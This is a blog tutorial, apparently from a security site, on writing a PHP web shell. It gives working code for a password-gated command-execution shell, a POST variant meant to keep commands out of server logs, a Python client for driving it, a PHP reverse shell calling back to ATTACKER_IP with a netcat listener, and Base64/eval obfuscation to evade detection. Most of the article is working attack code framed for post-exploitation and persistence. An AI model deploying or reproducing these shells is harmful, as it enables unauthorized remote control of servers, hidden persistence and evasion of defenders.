Thilan Dissanayaka Application Security Apr 27

Building and Extending a PHP Web Shell

A web shell is a script that enables an attacker to gain remote control over a web server.
It is especially useful for post-exploitation tasks, allowing an attacker to execute arbitrary commands remotely.

Web shells exist in many forms — some are designed for PHP environments, others for ASP.NET, JSP, and more.
Additionally, web shells can be classified based on their connection type:

  • Reverse connection (attacker's machine listens).
  • Bind connection (victim's machine listens).

One of the most popular examples is the C99 PHP Shell.
In this article, we will build a basic PHP web shell and gradually extend it into a more advanced and powerful tool.


Why Use a Web Shell?

  • Post-exploitation: execute system commands remotely.
  • Privilege escalation: interact with the system for further attacks.
  • Pivoting: move deeper into a network.
  • Persistence: maintain access to a compromised server.

Building a Basic PHP Web Shell

Let's start by creating a simple PHP web shell that accepts commands through HTTP GET requests.

<?php
define('PASSWORD', 'f8b60df48fae35dfa126a1b6ccc3ceed'); // MD5 of "hacksland"

function auth($password) {
    $input_password_hash = md5($password);
    return strcmp(PASSWORD, $input_password_hash) === 0;
}

if (isset($_GET['cmd']) && !empty($_GET['cmd']) && isset($_GET['password'])) {
    if (auth($_GET['password'])) {
        echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';
    } else {
        die('Access denied!');
    }
}
?>
  • PASSWORD is stored as an MD5 hash.
  • We check for cmd and password in the URL query parameters.
  • If authentication passes, we execute the command and return the output.

Usage Example

You can interact with the shell using your browser:

http://127.0.0.1/shell.php?password=hacksland&cmd=ls

Improving the Shell

Let's make the shell more flexible and stealthy.

1. Switch to system() instead of exec()

system() outputs the command results directly, and may behave better for certain command types.

system($_GET['cmd']);

Other alternatives:

  • shell_exec()
  • passthru()
  • popen()

Depending on the server's configuration, one might work better than others.

2. Hidden via POST Request

Instead of using visible GET parameters, switch to POST parameters:

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['cmd']) && isset($_POST['password'])) {
    if (auth($_POST['password'])) {
        echo '<pre>' . shell_exec($_POST['cmd']) . '</pre>';
    } else {
        die('Access denied!');
    }
}

This way, the commands do not show up in server logs easily.


Building a Python Client

Now, instead of using a browser, let’s create a simple Python client to communicate with our web shell.

import requests
from bs4 import BeautifulSoup

target = "http://127.0.0.1/shell.php"
password = "hacksland"

while True:
    cmd = input("$ ")
    try:
        r = requests.get(target, params={'cmd': cmd, 'password': password})
        soup = BeautifulSoup(r.text, 'html.parser')
        print(soup.pre.text)
    except requests.exceptions.RequestException as e:
        print(f"[!] Request failed: {e}")
        break

This client sends the cmd and password parameters to the server and prints the command output neatly.


Advanced Web Shell Techniques

Let's now extend our basic web shell into something more powerful.


1. Reverse Shell in PHP

Instead of executing a single command, we can spawn a full interactive reverse shell back to our machine.

<?php
set_time_limit(0);
$ip = 'ATTACKER_IP';  // Change this
$port = 4444;         // Change this
$sock = fsockopen($ip, $port);
$proc = proc_open('/bin/sh', array(0 => $sock, 1 => $sock, 2 => $sock), $pipes);
?>
  • Replace ATTACKER_IP with your IP address.
  • Listen with nc -lvnp 4444 from your machine.

Warning: Some servers disable fsockopen() or proc_open() functions.


2. Obfuscate the Shell

To evade simple detection:

  • Use non-standard variable names.
  • Encode the PHP code (e.g., Base64-encode it).
  • Randomize the password hash.

Example (Base64):

<?php eval(base64_decode('ZWNobyAiSGFja2VkIEJ5IExpZ2h0IExpZ2h0IiA7')); ?>
ALSO READ
Adapter Pattern explained simply
Apr 26 Software Architecture

Ever needed to connect two incompatible interfaces without changing their source code? That’s exactly where the **Adapter Pattern** shines! The Adapter Pattern is a structural design pattern....

Decorator Pattern explained simply
Apr 26 Software Architecture

When you want to **add new functionalities** to an object **without modifying its structure**, the **Decorator Pattern** comes to the rescue. The Decorator Pattern lets you dynamically **wrap**....

Building a Web3 CLI Tool for the Ballerina Language: From Idea to Reality
Apr 26 WSO2

🚀 Excited to finally share my journey of building a web3 CLI tool for Ballerina! This tool bridges the gap between Ethereum smart contracts and the Ballerina programming language by automatically....

Abstract Factory Pattern explained simply
Apr 26 Software Architecture

When you want to create **families of related objects** without specifying their concrete classes, the **Abstract Factory Pattern** is your best friend. --- ## What is the Abstract Factory....

ACID Properties in Databases: The Key to Reliable Transactions
Apr 25 Database Systems

When working with databases, one thing is absolutely critical: keeping your data safe, consistent, and reliable. That's where ACID properties come in — a set of principles that ensure every....

Building and Extending a PHP Web Shell
Apr 27 Application Security

A **web shell** is a script that enables an attacker to gain remote control over a web server. It is especially useful for **post-exploitation tasks**, allowing an attacker to execute arbitrary....